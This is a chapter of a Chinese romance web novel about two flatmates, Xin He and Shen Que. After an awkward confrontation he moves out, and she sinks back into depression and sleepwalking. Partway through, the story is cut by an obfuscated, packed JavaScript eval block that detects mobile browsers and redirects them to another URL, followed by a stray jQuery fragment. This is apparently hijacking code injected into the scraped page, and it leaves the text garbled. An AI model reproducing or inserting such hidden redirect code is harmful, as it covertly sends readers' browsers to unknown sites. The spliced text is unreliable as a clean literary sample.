辛禾坐在餐桌旁,目光不时偷偷地瞥向对面的沈确。
自从那次在公园的尴尬对话后,两人之间的气氛变得异常沉重。
沈确似乎也在刻意避免与她的目光接触,只是默默地吃着饭。
饭桌上的空气仿佛凝固了一般,只有偶尔碗筷碰撞的声音打破着两人之间的沉默。
辛禾终于忍不住了,她清了清嗓子,试图打破这令人窒息的沉默。
“那个,我的腿差不多好了,你家的维修工作应该也快结束了吧?”辛禾尽量让自己的声音听起来轻松,但心里实际上就像打鼓一样,忐忑不安。
沈确吃饭的动作微微一顿,他抬起头,眼底闪过一丝复杂的情绪。
“嗯,差不多了。等你腿彻底好了,我就搬出去。”
他的声音低沉,似乎在压抑着什么。
辛禾心中一紧,她没有想到沈确会这么快就提出搬走。
她看着沈确起身收拾碗筷,然后默默地离开了餐桌。
在沈确转身的瞬间,辛禾注意到他将一块巧克力放在了自己的碗筷旁。
“这是答应给你买的巧克力,记得吃。”
沈确的声音在空气中回荡,然后他的身影消失在了餐厅的门口。
辛禾愣愣地看着手边未拆封的巧克力,看着包装纸上的牌子,嗯,还是当年她喜欢的那个牌子,不禁觉得自己良心被飞来的利箭狠狠扎了一下,突然一痛,心中涌起一股愧疚的情绪。
她意识到,自己之前的行为可能会让沈确感到被冷落了,而沈确现在的关心和照顾更加显得自己的行为似乎有些忘恩负义了。
你看,你赶人家走,人家还好心照顾你,还给你买巧克力,做人不能太辛禾。
辛禾默默地吃完了桌子上的饭菜,洗好碗筷,坐在客厅的沙发上思考了一会。
随后她拄着拐杖在沈确的卧室前,徘徊了一会,犹豫要不要敲门,最后还是鼓起了勇气,敲响了沈确的房门。
“咚咚咚...咚咚咚...”门上传来声响,辛禾的声音在门外响起。
“那个,沈确,你别误会,我刚刚不是那个意思...”辛禾一边说着,一边竖着耳朵趴在门上听着里面的声音,发现门内没有任何声音。
她又尝试着开口,“我真的没有别的意思,我真的没有想赶你走。”
房间里面仍然没有任何声音,辛禾尝试着拧开门把手,悄悄打开了一个缝隙,眼睛眨了眨,透过缝隙打量着,她没有想到的是,房间内的沈确正在房间里换衣服,上身赤裸。
辛禾看着面前的这一幕,动作比脑子快,下意识吞咽了一口口水。
没想到不爱运动的某个人,身材还这么好,穿衣显瘦,脱衣有肉啊。
沈确看着房间内突然闯进来的人,摘下了自己的耳机,扫到了书桌旁的书,生怕被辛禾看到,急忙一个闪身,挡在辛禾的面前。
“你没事来我房间干什么?”
辛禾打量着上身赤裸的沈确,咽了口口水,手指轻轻地指了指。
“没想到,多年不见,身材不错啊,看看这肥瘦相间的,嗯.......要不今天晚上我们吃辣炒五花肉吧。”她试图用轻松的语气来掩饰自己的尴尬。
沈确顺手拿起旁边的一件T恤穿上,然后一脸无可奈何地指了指门外的方向,“这位女士,麻烦请你向后转,上前走两步,我要关门了。”
辛禾很有眼色地点了点头,吹了一个口哨,“哎呀,都是成年人了,都是室友,有什么不能看的,你看,这不是见外了,不是。”
沈确没有理会辛禾的调侃,直接把她推出了门外,堵在门口,拦住她继续往卧室打量的眼神,伸出了一只手关上了自己的房门。
他在门口不让辛禾再次进入自己的卧室,眼神里有些散漫,“说吧,来找我干什么,怎么,这几天都忍不了,想让我现在就搬出去。”
辛禾望着面前这个人,想起了刚刚桌边的那块未拆封的巧克力,认识到自己有些品质行为上的理亏。
“那个,那个,我不是这个意思,沈确。”
“那你什么意思?”
辛禾沉默了一会儿,然后缓缓开口:“沈确,实话实说,即使你给我道歉了,但是我心里的结一时半会还过不去,你懂吗?”
沈确低着头眼神微沉:“那我怎么做,你才能放下,要不你骂我一次,或者你再强吻回来。”
辛禾看着面前咄咄逼人的他,一时之间语噎了,不知道怎么回答,她脚步往后退了一步,紧贴着墙壁,墙壁的凉意让她的皮肤微微一激。
她伸出手指推了推他的胸膛:“那个,这个玩笑一点都不好笑。”
沈确抓住了她的手腕,上前一步,眼神直视地盯着她,丝毫没有放过她脸上的任何表情。
“如果,我如果不是在开玩笑呢?辛禾。”
两人的脸只隔着一个拳头的距离,呼吸交缠,辛禾能清晰的闻到他身上传来沐浴露柠檬的清香。
“砰砰砰”辛禾清晰的能听到沈确有节奏的心跳声。
辛禾低垂着头,挣脱出被沈确禁锢的手腕,声音带着低哑,“沈确,你这样会让我感觉不舒服,会让我感觉很有压力。”
她摸了摸自己心脏的位置,脸上露出明显的不适感。
沈确看出了她的不适,敛下心里的情绪,向后退了一步,拉开了两人的距离,给她留了一个足够的空间。
辛禾看见缝隙,直接扔下拐杖落荒而逃,她紧关住自己房门,依靠着门滑落着身体,一边用拳头锤着胸口,一边咬着嘴唇发出呜咽的抽泣声,生怕外面的沈确感觉到自己身体的异样。
胸腔处时不时传来的胸痛,手指不由自主地颤抖,都是她患病时的躯体化反应。
辛禾睁大着双眼,有力地咬着下嘴唇,掩饰着自己的不适感。
沈确看着地上被遗落的拐杖,弯腰捡起,想要帮辛禾放到她的卧室门前,不经意间,他听到了房间里面的抽泣声,那是辛禾的声音,他想要开门但是又生怕给辛禾带来生理性的不适。
他有些无力地蹲坐在卧室的门前,背部紧靠着门边。
原来当一个人不喜欢一个人的时候,原来他的喜欢,对她来说也只不过是一种困扰,一种负担。
一扇门,隔开了两个世界,两个人,一个门内,一个门外。
门内的人紧紧地捂着自己嘴巴,努力的压抑着自己的悲伤,生怕门外的人听到自己的抽泣声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200919|165652||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门外的人无力低垂着头,压低了自己的呼吸,生怕给门内的人带来不适的压力。
太阳渐渐落下,傍晚的余晖透过窗帘的缝隙洒进卧室的地面上,形成了斑驳的光影。
辛禾横躺在地板上伸出手掌看着白墙上的手影,手影随着自己的手的摆动,一会变大,一会变小。
她翻着身挣扎着起身,揉了揉自己的头发,有些责怪自己刚刚的情绪失控,一会自己要跟沈确好好解释一下自己刚刚的行为并不是因为他,而是因为她自己的原因。
辛禾手撑着床铺支撑着身体从地板上站起来,走到一旁的抽屉里,拿出了一个本子,看着本子里面的目标达成。
纸张上有一行写着:见见那个老朋友。
她拿起本子上卡着的笔,轻轻划了一下,在后面默默地补上了一行话,目标已达成,手指抚摸着纸上的笔迹。
辛禾又重新把本子放回到了抽屉里,整理好自己的情绪,在僵硬的脸上揉了揉,尝试着扬起一个明媚的微笑,再次打开房门。
她以为她会看到沈确的身影,但是,她只看到了门口黄昏光影下那只倚靠在墙壁上孤零零的拐杖。
拐杖上被粘了一张黄色的便利贴,上面是沈确俊逸的字迹,跟上学时候的一样。
【对不起,辛禾,这段时间打扰你了,很抱歉给你带来了不适的感觉。】
辛禾的目光落在手上那张被自己捏皱的便利贴上。
她轻轻地咬了咬嘴唇,脚步有些迟疑地走到了沈确的卧室,眼前空无一物,干净整洁,就像是从来没有住过人一样,丝毫没有留下沈确任何生活过的痕迹。
就像是她当年给父母和吴忧收拾行李时一样,人走茶凉。
辛禾低垂着头,眼泪啪嗒啪嗒的砸在地上,形成了滴滴硕大的泪滴。
她又重新走到了自己的卧室,紧闭上了房门,就像重新关上了自己那个从未开启过的心门一样。
整个人失重倾斜地向着身后的床铺砸去,她拿出身下的枕头挡在自己的脸上,枕头上的水渍慢慢地晕开,越晕越大,晕染成一片湿润的水面。
自从沈确走了以后,辛禾又回到了之前的样子,失眠,沮丧,身体充斥着深深的疲惫感,整个人仿佛被一滩泥潭包裹,浑身动弹不得。
她就像是一张被揉皱的纸团,被放在一个黑暗密不透风无人问津的角落里,见不得任何的风吹草动。
外界传来的任何细小的声响都会让她不禁浑身颤栗,瑟瑟发抖。
深夜光怪陆离的梦境中那个沾满鲜血的走廊和双手再次将她深深地拉入地狱,不得一丝的喘息。
她成日整天一直都没有走出过房间,路灯的光晕透过窗帘的缝隙,形成一束温暖的光影洒在了她的床头。
深夜中,辛禾迷迷糊糊中睁开眼,没有拿起身边的拐杖,然后起身,下床,打开卧室门,走到玄关,打开房门,顺着楼梯,下楼。
她的脸上没有任何的表情和起伏,一举一动行为机械,眼神空洞呆滞,像是一只被人掏空了一般,毫无任何生气。
辛禾一个人光着脚走在鹅卵石铺成的小路上,在小区休息的凉亭里,赤着脚,转着圈,一圈,一圈,又一圈,不知疲惫,盲目低着头转着圈圈。